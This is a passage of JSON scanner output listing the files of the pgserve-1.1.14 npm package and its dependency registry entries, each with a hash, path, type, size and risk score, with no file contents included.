        "depth": 1
      },
      {
        "id": 121,
        "mol": "H(Db)",
        "sha": "91bbdfd888abd75655c67a4d0eb37c15be202ca4a0271b3711e6817edb7ec2dc",
        "path": "pgserve-1.1.14.tgz!!package/.genie/spells/mcp-first.md",
        "risk": 2,
        "size": 3610,
        "type": "markdown",
        "depth": 1
      },
      {
        "id": 127,
        "mol": "H(Db)",
        "sha": "c0da0d704a2f1d3fd5d4afa236c07613450a9faff0fca69cf4d24832fe3a1e9d",
        "path": "pgserve-1.1.14.tgz!!package/.genie/spells/orchestrator-not-implementor.md",
        "risk": 2,
        "size": 9495,
        "type": "markdown",
        "depth": 1
      },
      {
        "id": 130,
        "sha": "a3c879e558eba44ceac46508dfc0e15130807066278ecb23d913bfe62b730a97",
        "path": "pgserve-1.1.14.tgz!!package/.genie/spells/prompt.md",
        "risk": 1,
        "size": 54685,
        "type": "markdown",
        "depth": 1
      },
      {
        "id": 134,
        "mol": "H(Db)",
        "sha": "67ef1293d298358b616dfde30cc3ef63f0c9422eced7f61d03d8deab58c851d9",
        "path": "pgserve-1.1.14.tgz!!package/.genie/agents/README.md",
        "risk": 2,
        "size": 4773,
        "type": "markdown",
        "depth": 1
      },
      {
        "id": 138,
        "mol": "H(Db)",
        "sha": "ae8ee6ebe98c28c8a6bbc3ddad532e42a14750ceb149b83d18211eda445d20b4",
        "path": "pgserve-1.1.14.tgz!!package/README.md",
        "risk": 2,
        "size": 13114,
        "type": "markdown",
        "depth": 1
      },
      {
        "id": 142,
        "mol": "H(Cm)",
        "sha": "568326e8d7bf13b922801060759dd51836734ceaf35f90cc0da32e46071ef608",
        "path": "pgserve-1.1.14.tgz!!package/.genie/code/agents/release.md",
        "risk": 2,
        "size": 28588,
        "type": "markdown",
        "depth": 1
      },
      {
        "id": 148,
        "mol": "H(Cm)",
        "sha": "2ea2347483b2b741d0d4772727c3d783b9c70ddb0aa43a6a7218b652a2270c80",
        "path": "pgserve-1.1.14.tgz!!package/.genie/code/agents/roadmap.md",
        "risk": 2,
        "size": 28518,
        "type": "markdown",
        "depth": 1
      },
      {
        "id": 152,
        "mol": "Md(Pa)",
        "sha": "8d23da1e03758b695bec2a6dd67d82483a449ba10ac94b89ffd9a5bd7b2f7c59",
        "path": "pgserve-1.1.14.tgz!!package/.genie/code/agents/audit/security.md",
        "risk": 2,
        "size": 6804,
        "type": "markdown",
        "depth": 1
      },
      {
        "id": 163,
        "mol": "H(Db)",
        "sha": "3d6c58382b264835e08a3aec1e844f7de9c90371d53ccb15935a4a50cdb8c422",
        "path": "pgserve-1.1.14.tgz!!package/.genie/spells/troubleshoot-infrastructure.md",
        "risk": 2,
        "size": 5618,
        "type": "markdown",
        "depth": 1
      },
      {
        "id": 165,
        "mol": "H(Cm)",
        "sha": "4d5a51cfd79b140a27a2421c5e8a61655e81244069a998cd5f698a33adaf1942",
        "path": "pgserve-1.1.14.tgz!!package/.genie/spells/upgrade-genie.md",
        "risk": 2,
        "size": 10279,
        "type": "markdown",
        "depth": 1
      },
      {
        "id": 168,
        "mol": "H(Cm)",
        "sha": "bf0d35732c5e14fa3b2785a1d127955c7e8c7c529de760c802db4b16b0bcd1ab",
        "path": "pgserve-1.1.14.tgz!!package/.genie/code/agents/vibe.md",
        "risk": 2,
        "size": 35495,
        "type": "markdown",
        "depth": 1
      },
      {
        "id": 176,
        "mol": "H₃(CmF₇Po₂)",
        "sha": "e0af302ebc760807aa47ac496173b6c22768c06021d34f9a555b1c6175d46e31",
        "path": "pgserve-1.1.14.tgz!!package/scripts/test-bun-self-heal.sh",
        "risk": 8,
        "size": 5021,
        "type": "shell",
        "depth": 1
      },
      {
        "id": 177,
        "mol": "H₂(F₂Po₄)",
        "sha": "c3c409e33acf4a3dd49cb49a3c30a1ba3abc7c14457c99766e3c4ab851827024",
        "path": "pgserve-1.1.14.tgz!!package/scripts/test-npx.sh",
        "risk": 6,
        "size": 1675,
        "type": "shell",
        "depth": 1
      },
      {
        "id": 178,
        "mol": "H(Os)Md(Bk₃)",
        "sha": "d5f4d9d607087de6614f71e6b5d445f1ec47d2ea4e472c6d5aa0a86e94c01d46",
        "path": "pgserve-1.1.14.tgz!!package/.github/workflows/build-all-platforms.yml",
        "risk": 2,
        "size": 6334,
        "type": "github_actions",
        "depth": 1
      },
      {
        "id": 179,
        "mol": "H(Os)Md(Bk)",
        "sha": "8140fb65ad46f5307f731db1d584320bc99bf0681d0e28e8d0d885281daed521",
        "path": "pgserve-1.1.14.tgz!!package/.github/workflows/ci.yml",
        "risk": 2,
        "size": 2443,
        "type": "github_actions",
        "depth": 1
      },
      {
        "id": 180,
        "mol": "O(Xe)H₂(OsPo)Md(Bk₃)",
        "sha": "794911a0ae03487fb8f3f62f8fbcf3a35470a6ff76e59dcb39e89c62476c5305",
        "path": "pgserve-1.1.14.tgz!!package/.github/workflows/release.yml",
        "risk": 4,
        "size": 5075,
        "type": "github_actions",
        "depth": 1
      },
      {
        "id": 181,
        "mol": "Md(Re)",
        "sha": "46654a50943d14798e0eb6e603c9da1e53d0119e2f1dea4ca9c614c61f7a60c3",
        "path": "bun@1.4.2.registry.json",
        "risk": 1,
        "size": 854,
        "type": "registry",
        "depth": 2
      },
      {
        "id": 182,
        "mol": "Md(Re)",
        "sha": "df425ab64008ffc5ef8574b7c5bad7eb3302e3d769cd48b7cd2f74efdeab90ab",
        "path": "@embedded-postgres_darwin-arm64@18.2.0-beta.16.registry.json",
        "risk": 1,
        "size": 1054,
        "type": "registry",
        "depth": 2
      },
      {
        "id": 183,
        "mol": "Md(Re)",
        "sha": "8f33d274a0c9be485158a83361fdead5fcc78d866931ec53bb9adf5d4ea908ef",
        "path": "@embedded-postgres_darwin-x64@18.2.0-beta.16.registry.json",
        "risk": 1,
        "size": 1052,
        "type": "registry",
        "depth": 2
      },
      {
        "id": 184,
        "mol": "Md(Re)",
        "sha": "1cb2c8bf6178e51c411401fb42d77f789ec43219106648d65109a6a579a446d2",
        "path": "@embedded-postgres_linux-x64@18.2.0-beta.16.registry.json",
        "risk": 1,
        "size": 1052,
        "type": "registry",
        "depth": 2
      },
      {
        "id": 185,
        "mol": "Md(Re)",
        "sha": "fe641301fca07a336c6763a521445b453379a6189c827c978a03f16b59e87888",
        "path": "@embedded-postgres_windows-x64@18.2.0-beta.16.registry.json",
        "risk": 1,
        "size": 1053,
        "type": "registry",
        "depth": 2
      },
      {
        "id": 186,
        "mol": "Md(Re)",
        "sha": "b663292fa8db367e711b9cd98d483d8f7f0301861457a9a44829282c56e698bd",
        "path": "actions_checkout.registry.json",
        "risk": 1,
        "size": 855,
        "type": "registry",
        "depth": 2
      },
      {
        "id": 187,
        "sha": "2681f3b33cfe2d32de445302dc2cdca0d3e816449e91cedfb15c74c575314f70",
        "path": "oven-sh_setup-bun.registry.json",
        "size": 862,
        "type": "registry",
        "depth": 2
      },
      {
        "id": 188,
        "sha": "212e53281d63d3f849876ba6c8ec3b7ea252c6052e7e2fd901f7aa7b9151451c",
        "path": "actions_upload-artifact.registry.json",
        "size": 817,
        "type": "registry",
        "depth": 2
      },
      {
        "id": 189,
        "mol": "Md(Re)",
        "sha": "57cfcf6854cb92873d9eb4bd0f7655276e1e67063a2b9060e89a41232437d31f",
        "path": "actions_setup-node.registry.json",
        "risk": 1,
        "size": 868,
        "type": "registry",
        "depth": 2
      },
      {
        "id": 190,
        "sha": "6ac2921ac5892bc931d93be55e86777abbc6753516f0968aac322902054631da",
        "path": "actions_download-artifact.registry.json",
        "size": 823,
        "type": "registry",
        "depth": 2
      },
      {
        "id": 191,
        "mol": "Md(Re)",
        "sha": "e15d3c69ba7ed2e9018f7f031ce1e12c4ccb61cd4fd59f3c86947af1bc0a5b42",
        "path": "softprops_action-gh-release.registry.json",
        "risk": 1,
        "size": 884,
        "type": "registry",
        "depth": 2
      }
    ],
    "omitted_files": 69,
    "rev": "479f3",
    "v": "8"
  }
}